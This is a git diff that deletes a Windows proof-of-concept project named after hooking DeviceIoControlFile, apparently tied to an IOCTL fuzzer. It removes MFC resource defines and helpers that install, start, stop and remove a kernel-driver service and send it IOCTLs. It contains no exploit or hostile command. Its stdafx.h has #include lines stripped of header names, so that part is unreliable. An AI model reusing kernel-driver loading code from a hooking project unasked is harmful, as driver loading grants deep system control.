-#define AFX_IDP_DLL_LOAD_FAILED 0xF10D
-#define AFX_IDP_DLL_BAD_VERSION 0xF10E
-#define AFX_IDP_PARSE_INT 0xF110
-#define AFX_IDP_PARSE_REAL 0xF111
-#define AFX_IDP_PARSE_INT_RANGE 0xF112
-#define AFX_IDP_PARSE_REAL_RANGE 0xF113
-#define AFX_IDP_PARSE_STRING_SIZE 0xF114
-#define AFX_IDP_PARSE_RADIO_BUTTON 0xF115
-#define AFX_IDP_PARSE_BYTE 0xF116
-#define AFX_IDP_PARSE_UINT 0xF117
-#define AFX_IDP_PARSE_DATETIME 0xF118
-#define AFX_IDP_PARSE_CURRENCY 0xF119
-#define AFX_IDP_PARSE_GUID 0xF11A
-#define AFX_IDP_PARSE_TIME 0xF11B
-#define AFX_IDP_PARSE_DATE 0xF11C
-#define AFX_IDP_FAILED_INVALID_FORMAT 0xF120
-#define AFX_IDP_FAILED_INVALID_PATH 0xF121
-#define AFX_IDP_FAILED_DISK_FULL 0xF122
-#define AFX_IDP_FAILED_ACCESS_READ 0xF123
-#define AFX_IDP_FAILED_ACCESS_WRITE 0xF124
-#define AFX_IDP_FAILED_IO_ERROR_READ 0xF125
-#define AFX_IDP_FAILED_IO_ERROR_WRITE 0xF126
-#define AFX_IDP_SCRIPT_ERROR 0xF130
-#define AFX_IDP_SCRIPT_DISPATCH_EXCEPTION 0xF131
-#define AFX_IDP_STATIC_OBJECT 0xF180
-#define AFX_IDP_FAILED_TO_CONNECT 0xF181
-#define AFX_IDP_SERVER_BUSY 0xF182
-#define AFX_IDP_BAD_VERB 0xF183
-#define AFX_IDS_NOT_DOCOBJECT 0xF184
-#define AFX_IDP_FAILED_TO_NOTIFY 0xF185
-#define AFX_IDP_FAILED_TO_LAUNCH 0xF186
-#define AFX_IDP_ASK_TO_UPDATE 0xF187
-#define AFX_IDP_FAILED_TO_UPDATE 0xF188
-#define AFX_IDP_FAILED_TO_REGISTER 0xF189
-#define AFX_IDP_FAILED_TO_AUTO_REGISTER 0xF18A
-#define AFX_IDP_FAILED_TO_CONVERT 0xF18B
-#define AFX_IDP_GET_NOT_SUPPORTED 0xF18C
-#define AFX_IDP_SET_NOT_SUPPORTED 0xF18D
-#define AFX_IDP_ASK_TO_DISCARD 0xF18E
-#define AFX_IDP_FAILED_TO_CREATE 0xF18F
-#define AFX_IDP_FAILED_MAPI_LOAD 0xF190
-#define AFX_IDP_INVALID_MAPI_DLL 0xF191
-#define AFX_IDP_FAILED_MAPI_SEND 0xF192
-#define AFX_IDP_FILE_NONE 0xF1A0
-#define AFX_IDP_FILE_GENERIC 0xF1A1
-#define AFX_IDP_FILE_NOT_FOUND 0xF1A2
-#define AFX_IDP_FILE_BAD_PATH 0xF1A3
-#define AFX_IDP_FILE_TOO_MANY_OPEN 0xF1A4
-#define AFX_IDP_FILE_ACCESS_DENIED 0xF1A5
-#define AFX_IDP_FILE_INVALID_FILE 0xF1A6
-#define AFX_IDP_FILE_REMOVE_CURRENT 0xF1A7
-#define AFX_IDP_FILE_DIR_FULL 0xF1A8
-#define AFX_IDP_FILE_BAD_SEEK 0xF1A9
-#define AFX_IDP_FILE_HARD_IO 0xF1AA
-#define AFX_IDP_FILE_SHARING 0xF1AB
-#define AFX_IDP_FILE_LOCKING 0xF1AC
-#define AFX_IDP_FILE_DISKFULL 0xF1AD
-#define AFX_IDP_FILE_EOF 0xF1AE
-#define AFX_IDP_ARCH_NONE 0xF1B0
-#define AFX_IDP_ARCH_GENERIC 0xF1B1
-#define AFX_IDP_ARCH_READONLY 0xF1B2
-#define AFX_IDP_ARCH_ENDOFFILE 0xF1B3
-#define AFX_IDP_ARCH_WRITEONLY 0xF1B4
-#define AFX_IDP_ARCH_BADINDEX 0xF1B5
-#define AFX_IDP_ARCH_BADCLASS 0xF1B6
-#define AFX_IDP_ARCH_BADSCHEMA 0xF1B7
-#define AFX_IDS_OCC_SCALEUNITS_PIXELS 0xF1C0
-#define AFX_IDS_STATUS_FONT 0xF230
-#define AFX_IDS_TOOLTIP_FONT 0xF231
-#define AFX_IDS_UNICODE_FONT 0xF232
-#define AFX_IDS_MINI_FONT 0xF233
-#define AFX_IDP_SQL_CONNECT_FAIL 0xF281
-#define AFX_IDP_SQL_RECORDSET_FORWARD_ONLY 0xF282
-#define AFX_IDP_SQL_EMPTY_COLUMN_LIST 0xF283
-#define AFX_IDP_SQL_FIELD_SCHEMA_MISMATCH 0xF284
-#define AFX_IDP_SQL_ILLEGAL_MODE 0xF285
-#define AFX_IDP_SQL_MULTIPLE_ROWS_AFFECTED 0xF286
-#define AFX_IDP_SQL_NO_CURRENT_RECORD 0xF287
-#define AFX_IDP_SQL_NO_ROWS_AFFECTED 0xF288
-#define AFX_IDP_SQL_RECORDSET_READONLY 0xF289
-#define AFX_IDP_SQL_SQL_NO_TOTAL 0xF28A
-#define AFX_IDP_SQL_ODBC_LOAD_FAILED 0xF28B
-#define AFX_IDP_SQL_DYNASET_NOT_SUPPORTED 0xF28C
-#define AFX_IDP_SQL_SNAPSHOT_NOT_SUPPORTED 0xF28D
-#define AFX_IDP_SQL_API_CONFORMANCE 0xF28E
-#define AFX_IDP_SQL_SQL_CONFORMANCE 0xF28F
-#define AFX_IDP_SQL_NO_DATA_FOUND 0xF290
-#define AFX_IDP_SQL_ROW_UPDATE_NOT_SUPPORTED 0xF291
-#define AFX_IDP_SQL_ODBC_V2_REQUIRED 0xF292
-#define AFX_IDP_SQL_NO_POSITIONED_UPDATES 0xF293
-#define AFX_IDP_SQL_LOCK_MODE_NOT_SUPPORTED 0xF294
-#define AFX_IDP_SQL_DATA_TRUNCATED 0xF295
-#define AFX_IDP_SQL_ROW_FETCH 0xF296
-#define AFX_IDP_SQL_INCORRECT_ODBC 0xF297
-#define AFX_IDP_SQL_UPDATE_DELETE_FAILED 0xF298
-#define AFX_IDP_SQL_DYNAMIC_CURSOR_NOT_SUPPORTED 0xF299
-#define AFX_IDP_SQL_FIELD_NOT_FOUND 0xF29A
-#define AFX_IDP_SQL_BOOKMARKS_NOT_SUPPORTED 0xF29B
-#define AFX_IDP_SQL_BOOKMARKS_NOT_ENABLED 0xF29C
-#define AFX_IDS_DELETED 0xF29D
-#define AFX_IDP_DAO_ENGINE_INITIALIZATION 0xF2B0
-#define AFX_IDP_DAO_DFX_BIND 0xF2B1
-#define AFX_IDP_DAO_OBJECT_NOT_OPEN 0xF2B2
-#define AFX_IDP_DAO_ROWTOOSHORT 0xF2B3
-#define AFX_IDP_DAO_BADBINDINFO 0xF2B4
-#define AFX_IDP_DAO_COLUMNUNAVAILABLE 0xF2B5
-#define AFX_IDS_HTTP_TITLE 0xF2D1
-#define AFX_IDS_HTTP_NO_TEXT 0xF2D2
-#define AFX_IDS_HTTP_BAD_REQUEST 0xF2D3
-#define AFX_IDS_HTTP_AUTH_REQUIRED 0xF2D4
-#define AFX_IDS_HTTP_FORBIDDEN 0xF2D5
-#define AFX_IDS_HTTP_NOT_FOUND 0xF2D6
-#define AFX_IDS_HTTP_SERVER_ERROR 0xF2D7
-#define AFX_IDS_HTTP_NOT_IMPLEMENTED 0xF2D8
-#define AFX_IDS_CHECKLISTBOX_UNCHECK 0xF2E1
-#define AFX_IDS_CHECKLISTBOX_CHECK 0xF2E2
-#define AFX_IDS_CHECKLISTBOX_MIXED 0xF2E3
-#define AFX_IDS_PROPPAGE_UNKNOWN 0xFE01
-#define AFX_IDS_COLOR_DESKTOP 0xFE04
-#define AFX_IDS_COLOR_APPWORKSPACE 0xFE05
-#define AFX_IDS_COLOR_WNDBACKGND 0xFE06
-#define AFX_IDS_COLOR_WNDTEXT 0xFE07
-#define AFX_IDS_COLOR_MENUBAR 0xFE08
-#define AFX_IDS_COLOR_MENUTEXT 0xFE09
-#define AFX_IDS_COLOR_ACTIVEBAR 0xFE0A
-#define AFX_IDS_COLOR_INACTIVEBAR 0xFE0B
-#define AFX_IDS_COLOR_ACTIVETEXT 0xFE0C
-#define AFX_IDS_COLOR_INACTIVETEXT 0xFE0D
-#define AFX_IDS_COLOR_ACTIVEBORDER 0xFE0E
-#define AFX_IDS_COLOR_INACTIVEBORDER 0xFE0F
-#define AFX_IDS_COLOR_WNDFRAME 0xFE10
-#define AFX_IDS_COLOR_SCROLLBARS 0xFE11
-#define AFX_IDS_COLOR_BTNFACE 0xFE12
-#define AFX_IDS_COLOR_BTNSHADOW 0xFE13
-#define AFX_IDS_COLOR_BTNTEXT 0xFE14
-#define AFX_IDS_COLOR_BTNHIGHLIGHT 0xFE15
-#define AFX_IDS_COLOR_DISABLEDTEXT 0xFE16
-#define AFX_IDS_COLOR_HIGHLIGHT 0xFE17
-#define AFX_IDS_COLOR_HIGHLIGHTTEXT 0xFE18
-#define AFX_IDS_REGULAR 0xFE19
-#define AFX_IDS_BOLD 0xFE1A
-#define AFX_IDS_ITALIC 0xFE1B
-#define AFX_IDS_BOLDITALIC 0xFE1C
-#define AFX_IDS_SAMPLETEXT 0xFE1D
-#define AFX_IDS_DISPLAYSTRING_FONT 0xFE1E
-#define AFX_IDS_DISPLAYSTRING_COLOR 0xFE1F
-#define AFX_IDS_DISPLAYSTRING_PICTURE 0xFE20
-#define AFX_IDS_PICTUREFILTER 0xFE21
-#define AFX_IDS_PICTYPE_UNKNOWN 0xFE22
-#define AFX_IDS_PICTYPE_NONE 0xFE23
-#define AFX_IDS_PICTYPE_BITMAP 0xFE24
-#define AFX_IDS_PICTYPE_METAFILE 0xFE25
-#define AFX_IDS_PICTYPE_ICON 0xFE26
-#define AFX_IDS_COLOR_PPG 0xFE28
-#define AFX_IDS_COLOR_PPG_CAPTION 0xFE29
-#define AFX_IDS_FONT_PPG 0xFE2A
-#define AFX_IDS_FONT_PPG_CAPTION 0xFE2B
-#define AFX_IDS_PICTURE_PPG 0xFE2C
-#define AFX_IDS_PICTURE_PPG_CAPTION 0xFE2D
-#define AFX_IDS_PICTUREBROWSETITLE 0xFE30
-#define AFX_IDS_BORDERSTYLE_0 0xFE31
-#define AFX_IDS_BORDERSTYLE_1 0xFE32
-#define AFX_IDS_VERB_EDIT 0xFE40
-#define AFX_IDS_VERB_PROPERTIES 0xFE41
-#define AFX_IDP_PICTURECANTOPEN 0xFE83
-#define AFX_IDP_PICTURECANTLOAD 0xFE84
-#define AFX_IDP_PICTURETOOLARGE 0xFE85
-#define AFX_IDP_PICTUREREADFAILED 0xFE86
-#define AFX_IDP_E_ILLEGALFUNCTIONCALL 0xFEA0
-#define AFX_IDP_E_OVERFLOW 0xFEA1
-#define AFX_IDP_E_OUTOFMEMORY 0xFEA2
-#define AFX_IDP_E_DIVISIONBYZERO 0xFEA3
-#define AFX_IDP_E_OUTOFSTRINGSPACE 0xFEA4
-#define AFX_IDP_E_OUTOFSTACKSPACE 0xFEA5
-#define AFX_IDP_E_BADFILENAMEORNUMBER 0xFEA6
-#define AFX_IDP_E_FILENOTFOUND 0xFEA7
-#define AFX_IDP_E_BADFILEMODE 0xFEA8
-#define AFX_IDP_E_FILEALREADYOPEN 0xFEA9
-#define AFX_IDP_E_DEVICEIOERROR 0xFEAA
-#define AFX_IDP_E_FILEALREADYEXISTS 0xFEAB
-#define AFX_IDP_E_BADRECORDLENGTH 0xFEAC
-#define AFX_IDP_E_DISKFULL 0xFEAD
-#define AFX_IDP_E_BADRECORDNUMBER 0xFEAE
-#define AFX_IDP_E_BADFILENAME 0xFEAF
-#define AFX_IDP_E_TOOMANYFILES 0xFEB0
-#define AFX_IDP_E_DEVICEUNAVAILABLE 0xFEB1
-#define AFX_IDP_E_PERMISSIONDENIED 0xFEB2
-#define AFX_IDP_E_DISKNOTREADY 0xFEB3
-#define AFX_IDP_E_PATHFILEACCESSERROR 0xFEB4
-#define AFX_IDP_E_PATHNOTFOUND 0xFEB5
-#define AFX_IDP_E_INVALIDPATTERNSTRING 0xFEB6
-#define AFX_IDP_E_INVALIDUSEOFNULL 0xFEB7
-#define AFX_IDP_E_INVALIDFILEFORMAT 0xFEB8
-#define AFX_IDP_E_INVALIDPROPERTYVALUE 0xFEB9
-#define AFX_IDP_E_INVALIDPROPERTYARRAYINDEX 0xFEBA
-#define AFX_IDP_E_SETNOTSUPPORTEDATRUNTIME 0xFEBB
-#define AFX_IDP_E_SETNOTSUPPORTED 0xFEBC
-#define AFX_IDP_E_NEEDPROPERTYARRAYINDEX 0xFEBD
-#define AFX_IDP_E_SETNOTPERMITTED 0xFEBE
-#define AFX_IDP_E_GETNOTSUPPORTEDATRUNTIME 0xFEBF
-#define AFX_IDP_E_GETNOTSUPPORTED 0xFEC0
-#define AFX_IDP_E_PROPERTYNOTFOUND 0xFEC1
-#define AFX_IDP_E_INVALIDCLIPBOARDFORMAT 0xFEC2
-#define AFX_IDP_E_INVALIDPICTURE 0xFEC3
-#define AFX_IDP_E_PRINTERERROR 0xFEC4
-#define AFX_IDP_E_CANTSAVEFILETOTEMP 0xFEC5
-#define AFX_IDP_E_SEARCHTEXTNOTFOUND 0xFEC6
-#define AFX_IDP_E_REPLACEMENTSTOOLONG 0xFEC7
-
-// Next default values for new objects
-//
-#ifdef APSTUDIO_INVOKED
-#ifndef APSTUDIO_READONLY_SYMBOLS
-#define _APS_NEXT_RESOURCE_VALUE 102
-#define _APS_NEXT_COMMAND_VALUE 40001
-#define _APS_NEXT_CONTROL_VALUE 1011
-#define _APS_NEXT_SYMED_VALUE 101
-#endif
-#endif
diff --git a/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/resources/icon.ico b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/resources/icon.ico
deleted file mode 100644
index 69db61eb..00000000
Binary files a/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/resources/icon.ico and /dev/null differ
diff --git a/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/resources/icon.png b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/resources/icon.png
deleted file mode 100644
index 46dde857..00000000
Binary files a/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/resources/icon.png and /dev/null differ
diff --git a/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/service.cpp b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/service.cpp
deleted file mode 100644
index a513dc16..00000000
--- a/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/service.cpp
+++ /dev/null
@@ -1,368 +0,0 @@
-#include "stdafx.h"
-
-// defined if ioctlfuzzer.cpp
-extern HANDLE hDevice;
-//--------------------------------------------------------------------------------------
-BOOL DrvOpenDevice(PWSTR DriverName, HANDLE *lphDevice)
-{
- WCHAR DeviceName[MAX_PATH];
- HANDLE hDevice = NULL;
-
- if ((GetVersion() & 0xFF) >= 5)
- {
- wcscpy(DeviceName, L"\\\\.\\Global\\");
- }
- else
- {
- wcscpy(DeviceName, L"\\\\.\\");
- }
-
- wcscat(DeviceName, DriverName);
-
- DbgMsg(__FILE__, __LINE__, "Opening '%ws'...\n", DeviceName);
-
- hDevice = CreateFileW(
- DeviceName,
- GENERIC_READ | GENERIC_WRITE,
- 0, NULL,
- OPEN_EXISTING,
- 0, NULL
- );
- if (hDevice == INVALID_HANDLE_VALUE)
- {
- DbgMsg(__FILE__, __LINE__, "CreateFile() ERROR %d\n", GetLastError());
- return FALSE;
- }
-
- *lphDevice = hDevice;
-
- return TRUE;
-}
-//--------------------------------------------------------------------------------------
-BOOL DrvDeviceRequest(PREQUEST_BUFFER Request, DWORD dwRequestSize)
-{
- BOOL bRet = FALSE;
-
- if (hDevice == NULL)
- {
- DbgMsg(__FILE__, __LINE__, __FUNCTION__ "() ERROR: Invalid device handle\n");
- return FALSE;
- }
-
- PREQUEST_BUFFER Response = (PREQUEST_BUFFER)M_ALLOC(dwRequestSize);
- if (Response)
- {
- DWORD dwBytes = 0;
- ZeroMemory(Response, dwRequestSize);
-
- // send request to driver
- if (DeviceIoControl(
- hDevice,
- IOCTL_DRV_CONTROL,
- Request,
- dwRequestSize,
- Response,
- dwRequestSize,
- &dwBytes, NULL))
- {
-
-#ifdef DBG_IO
-
- DbgMsg(
- __FILE__, __LINE__,
- __FUNCTION__ "() %d bytes returned; status 0x%.8x\n",
- dwBytes, Response->Status
- );
-#endif
- memcpy(Request, Response, dwRequestSize);
-
- bRet = TRUE;
- }
- else
- {
- DbgMsg(__FILE__, __LINE__, "DeviceIoControl() ERROR %d\n", GetLastError());
- }
-
- M_FREE(Response);
- }
- else
- {
- DbgMsg(__FILE__, __LINE__, "M_ALLOC() ERROR %d\n", GetLastError());
- }
-
- return bRet;
-}
-//--------------------------------------------------------------------------------------
-BOOL DrvServiceStart(char *lpszServiceName, char *lpszPath, PBOOL bAllreadyStarted)
-{
- BOOL bRet = FALSE;
- SC_HANDLE hScm = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);
- if (hScm)
- {
- DbgMsg(__FILE__, __LINE__, "Creating service...\n");
-
- // create service for kernel-mod driver
- SC_HANDLE hService = CreateService(
- hScm,
- lpszServiceName,
- lpszServiceName,
- SERVICE_START | DELETE | SERVICE_STOP,
- SERVICE_KERNEL_DRIVER,
- SERVICE_DEMAND_START,
- SERVICE_ERROR_IGNORE,
- lpszPath,
- NULL, NULL, NULL, NULL, NULL
- );
- if (hService == NULL)
- {
- if (GetLastError() == ERROR_SERVICE_EXISTS)
- {
- // open existing service
- if (hService = OpenService(hScm, lpszServiceName, SERVICE_START | DELETE | SERVICE_STOP))
- {
- DbgMsg(__FILE__, __LINE__, "Allready exists\n");
- }
- else
- {
- DbgMsg(__FILE__, __LINE__, "OpenService() ERROR %d\n", GetLastError());
- }
- }
- else
- {
- DbgMsg(__FILE__, __LINE__, "CreateService() ERROR %d\n", GetLastError());
- }
- }
- else
- {
- DbgMsg(__FILE__, __LINE__, "OK\n");
- }
-
- if (hService)
- {
- DbgMsg(__FILE__, __LINE__, "Starting service...\n");
-
- // start service
- if (StartService(hService, 0, NULL))
- {
- DbgMsg(__FILE__, __LINE__, "OK\n");
- bRet = TRUE;
- }
- else
- {
- if (GetLastError() == ERROR_SERVICE_ALREADY_RUNNING)
- {
- // service is allready started
- DbgMsg(__FILE__, __LINE__, "Allready running\n");
-
- if (bAllreadyStarted)
- {
- *bAllreadyStarted = TRUE;
- }
-
- bRet = TRUE;
- }
- else
- {
- DbgMsg(__FILE__, __LINE__, "StartService() ERROR %d\n", GetLastError());
- }
- }
-
- CloseServiceHandle(hService);
- }
-
- CloseServiceHandle(hScm);
- }
- else
- {
- DbgMsg(__FILE__, __LINE__, "OpenSCManager() ERROR %d\n", GetLastError());
- }
-
- return bRet;
-}
-//--------------------------------------------------------------------------------------
-BOOL DrvServiceStop(char *lpszServiceName)
-{
- BOOL bRet = FALSE;
-
- SC_HANDLE hScm = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);
- if (hScm)
- {
- DbgMsg(__FILE__, __LINE__, "Opening service...\n");
-
- // open existing service
- SC_HANDLE hService = OpenService(hScm, lpszServiceName, SERVICE_ALL_ACCESS);
- if (hService)
- {
- SERVICE_STATUS Status;
-
- DbgMsg(__FILE__, __LINE__, "OK\n");
- DbgMsg(__FILE__, __LINE__, "Stopping service...\n");
-
- // stop service
- if (ControlService(hService, SERVICE_CONTROL_STOP, &Status))
- {
- DbgMsg(__FILE__, __LINE__, "OK\n");
- bRet = TRUE;
- }
- else
- {
- DbgMsg(__FILE__, __LINE__, "ControlService() ERROR %d\n", GetLastError());
- }
-
- CloseServiceHandle(hService);
- }
- else
- {
- DbgMsg(__FILE__, __LINE__, "OpenService() ERROR %d\n", GetLastError());
- }
-
- CloseServiceHandle(hScm);
- }
- else
- {
- DbgMsg(__FILE__, __LINE__, "OpenSCManager() ERROR %d\n", GetLastError());
-
- }
-
- return bRet;
-}
-//--------------------------------------------------------------------------------------
-BOOL DrvServiceRemove(char *lpszServiceName)
-{
- BOOL bRet = FALSE;
-
- SC_HANDLE hScm = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);
- if (hScm)
- {
- DbgMsg(__FILE__, __LINE__, "Opening service...\n");
-
- // open existing service
- SC_HANDLE hService = OpenService(hScm, lpszServiceName, SERVICE_ALL_ACCESS);
- if (hService)
- {
- SERVICE_STATUS Status;
-
- DbgMsg(__FILE__, __LINE__, "OK\n");
- DbgMsg(__FILE__, __LINE__, "Deleting service...\n");
-
- // delete service
- if (DeleteService(hService))
- {
- DbgMsg(__FILE__, __LINE__, "OK\n");
- bRet = TRUE;
- }
- else
- {
- DbgMsg(__FILE__, __LINE__, "DeleteService() ERROR %d\n", GetLastError());
- }
-
- CloseServiceHandle(hService);
- }
- else
- {
- DbgMsg(__FILE__, __LINE__, "OpenService() ERROR %d\n", GetLastError());
- }
-
- CloseServiceHandle(hScm);
- }
- else
- {
- DbgMsg(__FILE__, __LINE__, "OpenSCManager() ERROR %d\n", GetLastError());
- }
-
- return bRet;
-}
-//--------------------------------------------------------------------------------------
-DWORD DrvServiceGetStartType(char *lpszServiceName)
-{
- DWORD dwRet = (DWORD)-1;
-
- SC_HANDLE hScm = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);
- if (hScm)
- {
- // open existing service
- SC_HANDLE hService = OpenService(hScm, lpszServiceName, SERVICE_ALL_ACCESS);
- if (hService)
- {
- DWORD dwBytesNeeded = 0;
- char szBuff[0x1000];
- ZeroMemory(&szBuff, sizeof(szBuff));
-
- LPQUERY_SERVICE_CONFIG Config = (LPQUERY_SERVICE_CONFIG)&szBuff;
-
- // query service configuration
- if (QueryServiceConfig(hService, Config, sizeof(szBuff), &dwBytesNeeded))
- {
- dwRet = Config->dwStartType;
- }
- else
- {
- DbgMsg(__FILE__, __LINE__, "QueryServiceConfig() ERROR %d\n", GetLastError());
- }
-
- CloseServiceHandle(hService);
- }
- else
- {
- DbgMsg(__FILE__, __LINE__, "OpenService() ERROR %d\n", GetLastError());
- }
-
- CloseServiceHandle(hScm);
- }
- else
- {
- DbgMsg(__FILE__, __LINE__, "OpenSCManager() ERROR %d\n", GetLastError());
-
- }
-
- return dwRet;
-}
-//--------------------------------------------------------------------------------------
-BOOL DrvServiceSetStartType(char *lpszServiceName, DWORD dwStartType)
-{
- BOOL bRet = FALSE;
-
- SC_HANDLE hScm = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);
- if (hScm)
- {
- // open existing service
- SC_HANDLE hService = OpenService(hScm, lpszServiceName, SERVICE_ALL_ACCESS);
- if (hService)
- {
- // set new service configuration
- bRet = ChangeServiceConfig(
- hService,
- SERVICE_NO_CHANGE,
- dwStartType,
- SERVICE_NO_CHANGE,
- NULL,
- NULL,
- NULL,
- NULL,
- NULL,
- NULL,
- NULL
- );
- if (!bRet)
- {
- DbgMsg(__FILE__, __LINE__, "ChangeServiceConfig() ERROR %d\n", GetLastError());
- }
-
- CloseServiceHandle(hService);
- }
- else
- {
- DbgMsg(__FILE__, __LINE__, "OpenService() ERROR %d\n", GetLastError());
- }
-
- CloseServiceHandle(hScm);
- }
- else
- {
- DbgMsg(__FILE__, __LINE__, "OpenSCManager() ERROR %d\n", GetLastError());
- }
-
- return bRet;
-}
-//--------------------------------------------------------------------------------------
-// EoF
diff --git a/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/service.h b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/service.h
deleted file mode 100644
index 27368f32..00000000
--- a/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/service.h
+++ /dev/null
@@ -1,7 +0,0 @@
-BOOL DrvOpenDevice(PWSTR DriverName, HANDLE *lphDevice);
-BOOL DrvDeviceRequest(PREQUEST_BUFFER Request, DWORD dwRequestSize);
-BOOL DrvServiceStart(char *lpszServiceName, char *lpszPath, PBOOL bAllreadyStarted);
-BOOL DrvServiceStop(char *lpszServiceName);
-BOOL DrvServiceRemove(char *lpszServiceName);
-DWORD DrvServiceGetStartType(char *lpszServiceName);
-BOOL DrvServiceSetStartType(char *lpszServiceName, DWORD dwStartType);
diff --git a/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/stdafx.h b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/stdafx.h
deleted file mode 100644
index e35c393e..00000000
--- a/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/stdafx.h
+++ /dev/null
@@ -1,34 +0,0 @@
-#define _WIN32_WINNT 0x0501
-
-#include
-#include
-#include
-#include
-#include
-#include
-#include
-#include
-#include
-#include
-#include "TlHelp32.h"
-#include "dbgsdk/inc/dbghelp.h"
-
-#include
-#include
-#include
-#include